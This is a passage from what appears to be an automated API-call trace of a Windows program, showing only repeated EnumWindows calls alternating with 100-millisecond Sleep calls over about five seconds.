(lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.365] Sleep (dwMilliseconds=0x64) [0183.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.378] Sleep (dwMilliseconds=0x64) [0183.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0183.382] Sleep (dwMilliseconds=0x64) [0184.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.115] Sleep (dwMilliseconds=0x64) [0184.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.161] Sleep (dwMilliseconds=0x64) [0184.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.172] Sleep (dwMilliseconds=0x64) [0184.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.431] Sleep (dwMilliseconds=0x64) [0184.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.433] Sleep (dwMilliseconds=0x64) [0184.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.435] Sleep (dwMilliseconds=0x64) [0184.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.437] Sleep (dwMilliseconds=0x64) [0184.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.439] Sleep (dwMilliseconds=0x64) [0184.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.441] Sleep (dwMilliseconds=0x64) [0184.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.444] Sleep (dwMilliseconds=0x64) [0184.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.445] Sleep (dwMilliseconds=0x64) [0184.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.449] Sleep (dwMilliseconds=0x64) [0184.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.451] Sleep (dwMilliseconds=0x64) [0184.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.453] Sleep (dwMilliseconds=0x64) [0184.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.456] Sleep (dwMilliseconds=0x64) [0184.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.458] Sleep (dwMilliseconds=0x64) [0184.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.460] Sleep (dwMilliseconds=0x64) [0184.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.513] Sleep (dwMilliseconds=0x64) [0184.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.618] Sleep (dwMilliseconds=0x64) [0184.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.620] Sleep (dwMilliseconds=0x64) [0184.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.621] Sleep (dwMilliseconds=0x64) [0184.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.623] Sleep (dwMilliseconds=0x64) [0184.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.628] Sleep (dwMilliseconds=0x64) [0184.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.630] Sleep (dwMilliseconds=0x64) [0184.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.632] Sleep (dwMilliseconds=0x64) [0184.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.634] Sleep (dwMilliseconds=0x64) [0184.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.638] Sleep (dwMilliseconds=0x64) [0184.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.640] Sleep (dwMilliseconds=0x64) [0184.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.642] Sleep (dwMilliseconds=0x64) [0184.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.644] Sleep (dwMilliseconds=0x64) [0184.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.646] Sleep (dwMilliseconds=0x64) [0184.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.762] Sleep (dwMilliseconds=0x64) [0184.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.767] Sleep (dwMilliseconds=0x64) [0184.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.769] Sleep (dwMilliseconds=0x64) [0184.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.771] Sleep (dwMilliseconds=0x64) [0184.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.775] Sleep (dwMilliseconds=0x64) [0184.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.777] Sleep (dwMilliseconds=0x64) [0184.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.779] Sleep (dwMilliseconds=0x64) [0184.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.781] Sleep (dwMilliseconds=0x64) [0184.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.783] Sleep (dwMilliseconds=0x64) [0184.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.785] Sleep (dwMilliseconds=0x64) [0184.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.787] Sleep (dwMilliseconds=0x64) [0184.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.789] Sleep (dwMilliseconds=0x64) [0184.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.791] Sleep (dwMilliseconds=0x64) [0184.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.793] Sleep (dwMilliseconds=0x64) [0184.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.795] Sleep (dwMilliseconds=0x64) [0184.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.897] Sleep (dwMilliseconds=0x64) [0184.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.905] Sleep (dwMilliseconds=0x64) [0184.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.907] Sleep (dwMilliseconds=0x64) [0184.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.912] Sleep (dwMilliseconds=0x64) [0184.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.914] Sleep (dwMilliseconds=0x64) [0184.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.917] Sleep (dwMilliseconds=0x64) [0184.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.919] Sleep (dwMilliseconds=0x64) [0184.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.921] Sleep (dwMilliseconds=0x64) [0184.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.924] Sleep (dwMilliseconds=0x64) [0184.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.925] Sleep (dwMilliseconds=0x64) [0184.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.928] Sleep (dwMilliseconds=0x64) [0184.929] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.929] Sleep (dwMilliseconds=0x64) [0184.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.931] Sleep (dwMilliseconds=0x64) [0184.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.934] Sleep (dwMilliseconds=0x64) [0184.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.935] Sleep (dwMilliseconds=0x64) [0184.937] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.937] Sleep (dwMilliseconds=0x64) [0184.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.939] Sleep (dwMilliseconds=0x64) [0184.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.941] Sleep (dwMilliseconds=0x64) [0184.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.943] Sleep (dwMilliseconds=0x64) [0184.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.946] Sleep (dwMilliseconds=0x64) [0184.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.948] Sleep (dwMilliseconds=0x64) [0184.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0184.949] Sleep (dwMilliseconds=0x64) [0185.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.074] Sleep (dwMilliseconds=0x64) [0185.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.088] Sleep (dwMilliseconds=0x64) [0185.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.108] Sleep (dwMilliseconds=0x64) [0185.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.111] Sleep (dwMilliseconds=0x64) [0185.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.113] Sleep (dwMilliseconds=0x64) [0185.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.200] Sleep (dwMilliseconds=0x64) [0185.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.243] Sleep (dwMilliseconds=0x64) [0185.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.245] Sleep (dwMilliseconds=0x64) [0185.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.247] Sleep (dwMilliseconds=0x64) [0185.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.252] Sleep (dwMilliseconds=0x64) [0185.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.254] Sleep (dwMilliseconds=0x64) [0185.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.256] Sleep (dwMilliseconds=0x64) [0185.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.257] Sleep (dwMilliseconds=0x64) [0185.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.259] Sleep (dwMilliseconds=0x64) [0185.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.261] Sleep (dwMilliseconds=0x64) [0185.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.263] Sleep (dwMilliseconds=0x64) [0185.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.264] Sleep (dwMilliseconds=0x64) [0185.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.266] Sleep (dwMilliseconds=0x64) [0185.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.268] Sleep (dwMilliseconds=0x64) [0185.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.271] Sleep (dwMilliseconds=0x64) [0185.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.434] Sleep (dwMilliseconds=0x64) [0185.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.436] Sleep (dwMilliseconds=0x64) [0185.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.486] Sleep (dwMilliseconds=0x64) [0185.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.489] Sleep (dwMilliseconds=0x64) [0185.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.492] Sleep (dwMilliseconds=0x64) [0185.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.493] Sleep (dwMilliseconds=0x64) [0185.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.495] Sleep (dwMilliseconds=0x64) [0185.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.540] Sleep (dwMilliseconds=0x64) [0185.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.589] Sleep (dwMilliseconds=0x64) [0185.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.652] Sleep (dwMilliseconds=0x64) [0185.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.654] Sleep (dwMilliseconds=0x64) [0185.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.656] Sleep (dwMilliseconds=0x64) [0185.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0185.658] Sleep (dwMilliseconds=0x64) [0185.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.848] Sleep (dwMilliseconds=0x64) [0186.874] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.875] Sleep (dwMilliseconds=0x64) [0186.876] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.877] Sleep (dwMilliseconds=0x64) [0186.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.879] Sleep (dwMilliseconds=0x64) [0186.882] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.882] Sleep (dwMilliseconds=0x64) [0186.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.884] Sleep (dwMilliseconds=0x64) [0186.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.886] Sleep (dwMilliseconds=0x64) [0186.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.889] Sleep (dwMilliseconds=0x64) [0186.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.891] Sleep (dwMilliseconds=0x64) [0186.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.893] Sleep (dwMilliseconds=0x64) [0186.895] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.895] Sleep (dwMilliseconds=0x64) [0186.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.897] Sleep (dwMilliseconds=0x64) [0186.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.899] Sleep (dwMilliseconds=0x64) [0186.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.900] Sleep (dwMilliseconds=0x64) [0186.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.902] Sleep (dwMilliseconds=0x64) [0186.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.904] Sleep (dwMilliseconds=0x64) [0186.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0186.989] Sleep (dwMilliseconds=0x64) [0187.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.036] Sleep (dwMilliseconds=0x64) [0187.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.039] Sleep (dwMilliseconds=0x64) [0187.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.041] Sleep (dwMilliseconds=0x64) [0187.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.043] Sleep (dwMilliseconds=0x64) [0187.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.045] Sleep (dwMilliseconds=0x64) [0187.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.047] Sleep (dwMilliseconds=0x64) [0187.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.048] Sleep (dwMilliseconds=0x64) [0187.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.050] Sleep (dwMilliseconds=0x64) [0187.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.056] Sleep (dwMilliseconds=0x64) [0187.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.057] Sleep (dwMilliseconds=0x64) [0187.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.060] Sleep (dwMilliseconds=0x64) [0187.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.061] Sleep (dwMilliseconds=0x64) [0187.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.064] Sleep (dwMilliseconds=0x64) [0187.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.065] Sleep (dwMilliseconds=0x64) [0187.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.102] Sleep (dwMilliseconds=0x64) [0187.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.107] Sleep (dwMilliseconds=0x64) [0187.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.181] Sleep (dwMilliseconds=0x64) [0187.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.183] Sleep (dwMilliseconds=0x64) [0187.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.185] Sleep (dwMilliseconds=0x64) [0187.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.187] Sleep (dwMilliseconds=0x64) [0187.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.188] Sleep (dwMilliseconds=0x64) [0187.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.190] Sleep (dwMilliseconds=0x64) [0187.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.192] Sleep (dwMilliseconds=0x64) [0187.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.193] Sleep (dwMilliseconds=0x64) [0187.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.195] Sleep (dwMilliseconds=0x64) [0187.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.197] Sleep (dwMilliseconds=0x64) [0187.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.198] Sleep (dwMilliseconds=0x64) [0187.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.200] Sleep (dwMilliseconds=0x64) [0187.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.202] Sleep (dwMilliseconds=0x64) [0187.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.204] Sleep (dwMilliseconds=0x64) [0187.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.205] Sleep (dwMilliseconds=0x64) [0187.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.207] Sleep (dwMilliseconds=0x64) [0187.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.222] Sleep (dwMilliseconds=0x64) [0187.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.301] Sleep (dwMilliseconds=0x64) [0187.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.320] Sleep (dwMilliseconds=0x64) [0187.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.335] Sleep (dwMilliseconds=0x64) [0187.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.337] Sleep (dwMilliseconds=0x64) [0187.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.339] Sleep (dwMilliseconds=0x64) [0187.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.342] Sleep (dwMilliseconds=0x64) [0187.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.343] Sleep (dwMilliseconds=0x64) [0187.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.345] Sleep (dwMilliseconds=0x64) [0187.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.347] Sleep (dwMilliseconds=0x64) [0187.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.349] Sleep (dwMilliseconds=0x64) [0187.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.426] Sleep (dwMilliseconds=0x64) [0187.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.475] Sleep (dwMilliseconds=0x64) [0187.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.477] Sleep (dwMilliseconds=0x64) [0187.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.479] Sleep (dwMilliseconds=0x64) [0187.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.481] Sleep (dwMilliseconds=0x64) [0187.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.483] Sleep (dwMilliseconds=0x64) [0187.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.485] Sleep (dwMilliseconds=0x64) [0187.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.487] Sleep (dwMilliseconds=0x64) [0187.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.489] Sleep (dwMilliseconds=0x64) [0187.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.490] Sleep (dwMilliseconds=0x64) [0187.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.492] Sleep (dwMilliseconds=0x64) [0187.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.494] Sleep (dwMilliseconds=0x64) [0187.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.496] Sleep (dwMilliseconds=0x64) [0187.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.498] Sleep (dwMilliseconds=0x64) [0187.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.499] Sleep (dwMilliseconds=0x64) [0187.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.501] Sleep (dwMilliseconds=0x64) [0187.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.503] Sleep (dwMilliseconds=0x64) [0187.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.505] Sleep (dwMilliseconds=0x64) [0187.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.552] Sleep (dwMilliseconds=0x64) [0187.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.613] Sleep (dwMilliseconds=0x64) [0187.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.615] Sleep (dwMilliseconds=0x64) [0187.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.617] Sleep (dwMilliseconds=0x64) [0187.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.619] Sleep (dwMilliseconds=0x64) [0187.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.621] Sleep (dwMilliseconds=0x64) [0187.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.623] Sleep (dwMilliseconds=0x64) [0187.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.625] Sleep (dwMilliseconds=0x64) [0187.627] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.627] Sleep (dwMilliseconds=0x64) [0187.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.650] Sleep (dwMilliseconds=0x64) [0187.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.702] Sleep (dwMilliseconds=0x64) [0187.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.883] Sleep (dwMilliseconds=0x64) [0187.884] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.884] Sleep (dwMilliseconds=0x64) [0187.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.886] Sleep (dwMilliseconds=0x64) [0187.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.889] Sleep (dwMilliseconds=0x64) [0187.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.890] Sleep (dwMilliseconds=0x64) [0187.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.892] Sleep (dwMilliseconds=0x64) [0187.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.895] Sleep (dwMilliseconds=0x64) [0187.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.896] Sleep (dwMilliseconds=0x64) [0187.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0187.987] Sleep (dwMilliseconds=0x64) [0188.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.025] Sleep (dwMilliseconds=0x64) [0188.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.027] Sleep (dwMilliseconds=0x64) [0188.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.029] Sleep (dwMilliseconds=0x64) [0188.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.031] Sleep (dwMilliseconds=0x64) [0188.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.037] Sleep (dwMilliseconds=0x64) [0188.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.039] Sleep (dwMilliseconds=0x64) [0188.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.041] Sleep (dwMilliseconds=0x64) [0188.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.044] Sleep (dwMilliseconds=0x64) [0188.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.047] Sleep (dwMilliseconds=0x64) [0188.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.048] Sleep (dwMilliseconds=0x64) [0188.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.050] Sleep (dwMilliseconds=0x64) [0188.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.053] Sleep (dwMilliseconds=0x64) [0188.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.147] Sleep (dwMilliseconds=0x64) [0188.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.181] Sleep (dwMilliseconds=0x64) [0188.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.184] Sleep (dwMilliseconds=0x64) [0188.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.186] Sleep (dwMilliseconds=0x64) [0188.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.189] Sleep (dwMilliseconds=0x64) [0188.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.192] Sleep (dwMilliseconds=0x64) [0188.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.193] Sleep (dwMilliseconds=0x64) [0188.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.196] Sleep (dwMilliseconds=0x64) [0188.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.198] Sleep (dwMilliseconds=0x64) [0188.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.200] Sleep (dwMilliseconds=0x64) [0188.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.202] Sleep (dwMilliseconds=0x64) [0188.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.205] Sleep (dwMilliseconds=0x64) [0188.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.208] Sleep (dwMilliseconds=0x64) [0188.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.210] Sleep (dwMilliseconds=0x64) [0188.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.303] Sleep (dwMilliseconds=0x64) [0188.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.348] Sleep (dwMilliseconds=0x64) [0188.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.353] Sleep (dwMilliseconds=0x64) [0188.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.355] Sleep (dwMilliseconds=0x64) [0188.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.358] Sleep (dwMilliseconds=0x64) [0188.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.360] Sleep (dwMilliseconds=0x64) [0188.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.362] Sleep (dwMilliseconds=0x64) [0188.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.364] Sleep (dwMilliseconds=0x64) [0188.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.368] Sleep (dwMilliseconds=0x64) [0188.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0188.370] Sleep (dwMilliseconds=0x64) [0188.371] EnumWindows 